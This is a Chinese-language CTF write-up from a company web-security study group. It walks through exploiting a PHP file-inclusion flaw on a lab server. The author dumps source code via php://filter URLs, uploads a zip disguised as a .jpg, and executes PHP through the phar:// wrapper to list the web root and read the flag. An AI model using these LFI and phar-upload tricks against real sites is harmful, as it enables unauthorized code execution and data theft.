上周我们部门弄了一个web安全的兴趣小组。说实话实在惭愧我虽然在安全公司每天都面对着各种漏洞,但是对渗透技术知之又少。于是加入兴趣小组后痛下决心好好学习渗透知识。
现在记录一下上周兴趣小组出的一个测试题目。由于0基础,花了两天时间才解决。
具体要求:读取网站根目录下的一个文本文件中的flag内容,具体的flag格式类似ahflag{xxxxxxxxxxxxxx}
好的,打开测试站点看看。
就是一个文件上传的界面。只能上传图片格式
经过各种google和百度确定解题的思路
目标:利用文件包含漏洞执行上传webshell
首先可以先down源码
http://192.168.23.250:88/index?page=php://filter/convert.base64-encode/resource=index
http://192.168.23.250:88/index?page=php://filter/convert.base64-encode/resource=upload
因为是base64的,所以百度找个base64在线解码,可以看到源码
源码中include($page.’.php’)知道不是任意文件包含,只能包含php文件。
那么我上传的jpg木马不能执行了。
所以要想办法截断后面的.php
在url加%00的办法,无效。可以知道php版本为5.4以上。
Google后得知可以通过zip和phar协议截断
尝试了phar方法。
先把test.php压缩成test.zip然后把后缀改为jpg这样可以成功上传。
然后在地址栏构造url
http://198.168.23.250:88/index.php?page=phar://./uP1O4Ds/7RmCG21sgY7CGhXbc6LyYPypoPZrFFMr_test.jpg/test
成功读取到目录文件。
Test.php文件内容
<?php
$dir="./";
$file=scandir($dir);
print_r($file);
?>
读出文件名
窗体底端
Array ( [0] => . [1] => .. [2] => CSS [3] => Y4ahs01_xs1.txt [4] => index.php [5] => uP1O4Ds [6] => upload.php )
于是htpp://192.168.23.250:88/Y4ahs01_xs1.txt获取到flag内容
ahflag{this_is_celuezu_leve1_1_2038}